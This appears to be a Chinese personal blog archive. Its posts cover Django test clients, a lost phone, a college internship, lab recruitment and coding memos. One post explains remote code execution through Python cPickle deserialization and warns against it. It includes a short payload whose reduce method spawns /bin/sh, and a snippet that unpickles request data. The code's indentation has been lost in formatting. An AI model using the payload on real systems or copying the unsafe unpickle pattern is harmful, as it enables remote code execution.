django单元测试中的Client

因为要测试的时候需要有不同ip的client来发请求测试 所以需要构造多个不同ip的Client的实例

在django文档中没有找到, 从stackoverflow查到了一个不错的答案, 如下:

[python]

from django.test.client import Client

#方法1: 构造实例的时候传入headers中的key value, 以后请求方法自动传递headers
client = HttpClient(REMOTE_ADDR=’127.0.0.1’)

#方法2: 请求的时候附带额外参数声明headers
client.get(‘/path/‘, {‘param’:’foo’},
**{‘HTTP_USER_AGENT’:’firefox-22’,
‘REMOTE_ADDR’:’127.0.0.1’})

[/python]

纪念我已经丢失的手机

就是这样,突然就丢了,亦或是被偷了.就这样,我的LT26ii不见了,从此淡出了我的生活.漂亮的外形,让我至今觉得比iphone5好看,没解锁没刷机也算是对这款Android的褒扬.就这样突然丢了,略微伤心.

279

你得先自己反省:不可专责备别人,更不必责备社会。”你应该想想:为什么同样一张文凭,别人拿了有效,你拿了就无效呢?还是仅仅因为别人有门路有援助而你没有呢?还是因为别人学到了本事而你没学到呢?为什么同叫做“大学”,他校的文凭有价值,而你的母校的文凭不值钱呢?还是仅仅因为社会只问虚名而不问实际呢?还是因为你的学校本来不够格呢?还是因为你的母校的名誉被你和你的同学闹得毁坏了,所以社会厌恶轻视你的学堂呢?

——胡适

危险的cPickle

Python标准库在对使用Pickle/cPickle的时候有给过警告:不要用cPickle接收未经授权或者未经验证方的代码,但是很多人在使用的时候会忽略这个问题,这会出现致命漏洞,致使对方可以远程执行代码.

危险主要来源于这个reduce方法,当对pickle对象解析时,会首先调用reduce方法,reduce方法规定了该如何解析一个对象,但是这个是用户自定义的,因此在这个地方出现了执行任意代码的可能

 

Example:

import cPickle
import subprocess
import base64

class RunBinSh(object):
def reduce(self):

#return (subprocess.Popen, (('cmd.exe'))) for win
return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))
 

若对方将此对象解析, 则会执行shell.

这主要是subprocess的功劳

因为reduce要求换回一个元组, 拿第一个参数去搜索引入然后构造对象,依靠subprocess.Popen就可以执行命令

这里其实算是一个本不应该成为漏洞的漏洞,但是一旦存在危险极大,而且很多人都会忽视这个问题.如果只是使用cPickle来做对象序列化保存与读取,不接受外部数据,是没有问题的.

但是一旦接受数据会出现致命问题,像这段代码

def process_request(self, request):
“””
Setup the profiler for a profiling run and clear the SQL query log.

If this is a resort of an existing profiling run, just return
the resorted list.
"""
    def unpickle(params):
        stats = unpickle_stats(b64decode(params.get('stats', '')))
        queries = cPickle.loads(b64decode(params.get('queries', '')))
        return stats, queries</pre>

如果不采用身份验证或者来源验证,出于安全考虑是不应该采用的.

 

Python标准库中要特别注意Warning这种提示.

 

参考链接:

http://blog.nelhage.com/2011/03/exploiting-pickle/

http://drops.wooyun.org/papers/66

 

 

关于好多

今天中国国家足球队在没有征召海外球员的情况下,逼平韩国队。好吧,其实我们没有什么海外球员可以征召,韩国也只是二队而已,我们都没有进球。我发了一条人人,“国足这球踢得很有情怀 有工匠精神。。。。。。”,好吧,我是在黑国足。这场球积极性是有的,进攻没有章法,踢得还是比较混乱的,认真了,但是依然不行。

结果就是这样,就像锤子ROM,真是认真做了(是不是真的我不知道其实),但是结果比较 一( lā ) 般( jī ). 之前帮小福刷机,拿着ONE X刷MIUI V5前刷上了锤子试用了下。根本不能拿来用,解锁卡死,进程序卡死,突然删退,发热过大,还要强制GPU渲染,如果去掉那就是不能使用。。。。身边做技术的都知道pre-a到底是怎么回事,就这么儿戏的发布了,结果就是这么个破东西= =。当然有借口,是pre-a。但是发布都发布自己的beta这算怎么回事。跟所有人说我要做个东西来改变世界,然后就把半成品(其实都不算)扔出来了,别人批评就说这是半成品,等老子将来吓死你。

然后我就经常拿情怀和工匠来黑人= =。有理想是好事,但是做不好就别嚷嚷。与自己共勉。最近struts2爆洞又跪了一批网站,没办法,漏洞越是接近底层越是影响越大,不过taobao倒是有方法,他们的安全部门貌似在大规模爆洞之前就有人提出过并且补上了,可惜分站依然没有防护好。

最近一周电脑经常会过热然后断电保护,让我郁闷不已,代码还没commit就听到电脑一声嘶吼然后屏幕黑掉,不爽。。。。待会再继续去写点代码。。。。不写了先。

最近想去看 天台,现在正在听 刘罗锅别传

最近关于实验室

最近实验的纳新之前用了空闲的一点时间写了一个微信墙,本来想看看有没有开源的代码直接搭一下的,只看了看github发现没有就自己写了一个,搭在SAE上。纳新的时候稍稍的展示了一下 。

不得不说SAE的稳定性堪忧,有许多莫名其妙的情况出现,而且sae登录看样子应该是基于weibo的oauth2.0,但是我这里直连总是登录之后无法回调写入cookies,只能选择先去weibo.com登录,或者翻墙直接登录。

 

关于这次纳新宣讲,在晚上,还是有许多考虑不周的地方。

1.去的还是晚了,然后调试设备导致开场推迟

2.没有任何备案,在去之前没有足够考虑到现场现场环境。这直接导致了以下问题:在Mac和linux上可用的视频字幕因为编码不一致导致在win下不可用。虽然充当了一回救火队员把字幕现场调好了,如果不多考虑应该不是每一次都这么幸运。

3.任何环节都没有做时间评估。这可能是去年就应该意识到的问题,但是今年再次出现了,因为并没有严格要求说一共会花多少时间,所以每个环节都没有做时间评估,导致前期的环节花费时间过于冗长。

4.未作内容讨论及长时间准备。每个环节完全交由个人,这个也是从去年就有的问题,但是我们大家都忽略了。

 

 

估计明年我就参与不了了,但是还是写下来吧,没准我的师弟师妹们会用到。

在实验室的日子也是过一天少一天了。

关于学院安排的实习

我本来想用更欢快的语气来描述,不过害怕显得不够客观,授人以柄。

开学初,接到通知,整个年级在这个学期只上16周课程,然后实习一个月,不能自己找实习,不能不去,算作学分,地点未定,公司未定。

4月,从导员的那里依然只能得到需要外出实习,地点未定,公司未定。

5月左右,终于确认消息,公司是青软实训, 地点是江苏如皋,全年级前往(学院承诺支付前去的路费,回程自理)

然后,谣言纷起(内容大体为无工资,还需要自己交钱),随后导员确认为谣言

6月初,实习计划改变,由原来的青软实训一家,变为(文思海辉,青软实训,上海昆山某公司(这次的会议我未去,也不清楚,如果有清楚的话求告知), 有关公司[注:有关公司就是指据说还有其他公司,但是还没定])

到目前未知,计划就是这样样子。

 

看了看大约6月下旬开始实习,直到6月初才确定关于实习的具体事宜。关于这次实习,我只是有几点疑问:

1.这种实习是否对所有专业的学生都适合。

如果给软件工程专业安排这种软件公司的实习是没有问题的(不是针对软件工程学生,只是从客观上来说)。

那么对于其他专业的学生来说呢?嵌入式的同学可以不用去,有老范给你上你们专业的知识,剩下的就是网络工程和图形学的同学。图形学我不了解,网络工程同学的总人数占据全年级一半,这么草率的都安排去写程序真的合适么。我知道我们学院的教学让几个专业的人出来没有太大一样,可是在教学计划的安排上,真的需要如此大锅饭么。

我是网络工程的学生,我喜欢coding,但是我们专业其他的同学呢。你让那些在不断学习网络工程师相关知识的同学门放掉自己真正的专业相关的东西陪着学院去coding?

 

2.这次实习的时机安排是否合适

对计算机相关专业来说,专业课较多,而往往较重要的专业课程都会选择在大三开设,那么因为实习将专业课程学习时间从18周缩短至16周是否合适。学院里已经把算法弄成了考察了(同时想请教国内哪所高校的CS相关专业敢把算法弄成考察),这次因为这个实习再次缩减专业时间是否有效。

 

3.这次实习能得到什么?

一个月,呵呵。那我还真建议同学们自己买本《21天精通C++》,我猜效果差不多。如果看好的书,会受益更大。

 

4.为什么不可以让同学们自由选择,跟学院或者自己找实习同时作为可选项

这个最终决定的形成我还真不敢妄揣上意,也许是怕难管理吧,反正别人损失是小,自己损失了可要自己担责, 出事了确实付不起责任。

 

结束了。我说再多又有什么用,什么也改变不了。还有可能被打小报告然后被叫去喝茶。

再忍一年,逃脱升天。

 

 

最近备忘

关于用python显示图片

PIL可以做到(链接

一开始总是跪,后来发现只有PIL还是不能显示jpg的,需要有libjpeg-dev和libfreetype6-dev

 

关于团队风格:

1.模块按照字典序进入

2.不要有trailing space

 

关于mercurial

因为merge之前没有pull导致后续出现了一系列麻烦,谨记commit需要pull

 

关于进程池

动态语言与静态语言的差异,

突然发现复用不是问题,一开始我以为Duck Type只有在解决多态才用到,后来才发现DuckType无处不在,扩展良好的进程池不是问题